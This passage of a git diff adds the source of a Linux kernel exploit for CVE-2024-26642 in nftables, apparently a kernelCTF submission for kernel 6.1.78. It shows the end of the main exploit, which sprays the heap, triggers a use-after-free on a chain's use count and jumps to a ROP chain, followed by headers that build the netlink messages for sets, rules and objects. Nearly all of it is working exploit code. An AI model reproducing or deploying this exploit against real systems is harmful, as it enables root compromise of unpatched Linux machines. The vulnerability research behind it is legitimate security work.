memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem_with_chain(socket, table, pipapo_set, pad, 0x100, key, 0x40, key_end, 0x40, target_chain); + } + + //step 2 trigger vul to make chain->use = 0 + + primitive_1(socket, table, target_chain, 0x20); + //step 3 delete target chain + + del_chain(socket, table, target_chain); + sleep(0.1); + //step 4 create normal set elem with expr, make offsetof(chain->use) == offsetof(expr->size) + *(uint64_t *)&pad[0] = target_heap;//expr->ops + *(uint64_t *)&pad[8] = kernel_off + 0xffffffff81fa7c53;//leave ; ret + for(i=0;i<0x800;i++){ + *(uint64_t *)hash_key_48 = i; + new_setelem_with_expr_and_elemdata(socket, table, hash_set_for_expr, pad, 0x10, NULL, hash_key_48, 48, NULL, 0); + } + + + //step 5 flush set to change the expr->size; + elem_flush(socket, table, pipapo_set); + + //step 6 jmp to ROP; + + for(i=0;i<0x800;i++){ + *(uint64_t *)hash_key_48 = i; + get_setelem(socket, table, hash_set_for_expr, hash_key_48,48); + } + printf("end\n"); + while(1); + +} + + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + + int ret = leak_and_prepare_rop(socket); + if(ret==-1){ + printf("Leak fail! Try again\n"); + return 0; + } + jmp_rop(socket); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/obj.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/obj.h new file mode 100644 index 00000000..48afb140 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/obj.h @@ -0,0 +1,136 @@ +extern int cur_handle; +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 6);//IPPROTO_TCP + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } + cur_handle++; +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/rule.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/rule.h new file mode 100644 index 00000000..06ed08c3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/rule.h @@ -0,0 +1,38 @@ +extern int cur_handle; +#define htonll(x) ((1==htonl(1)) ? (x) : ((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 32)) + +struct nlmsghdr * new_rule_lookup_for_chain_msg(char *table_name, char *chain_name, char *set_name, int if_dreg){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + + char *a = malloc(0x100); + memset(a,0x41,0x100); + if(if_dreg) + nla_put_u32(expr_data, NFTA_LOOKUP_DREG, htonl(NFT_REG_2)); + nla_put_string(expr_data, NFTA_LOOKUP_SET, set_name); + nla_put_u32(expr_data, NFTA_LOOKUP_SREG, htonl(NFT_REG_1)); + nla_put_string(data_nest, NFTA_EXPR_NAME, "lookup"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/set.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/set.h new file mode 100644 index 00000000..8f595e59 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/set.h @@ -0,0 +1,473 @@ +extern int cur_handle; +void new_set_hashtable(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + +void new_set_hashtable_with_elemdata(struct nl_sock * socket, char *table_name, char *set_name, int key_len, int elemdata_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(elemdata_size)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_hashtable_with_map(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + + nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + + + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VALUE)); + nla_put_u32(msg2, NFTA_SET_DATA_LEN, htonl(0x10)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_MAP)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + /* + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + */ + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + + + +struct nlmsghdr * new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(char *table_name, char *set_name, int key_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT|NFT_SET_TIMEOUT|NFT_SET_ANONYMOUS)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + cur_handle++; + return hdr2; +} + + +void new_set_pipapo_for_chain(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + +struct 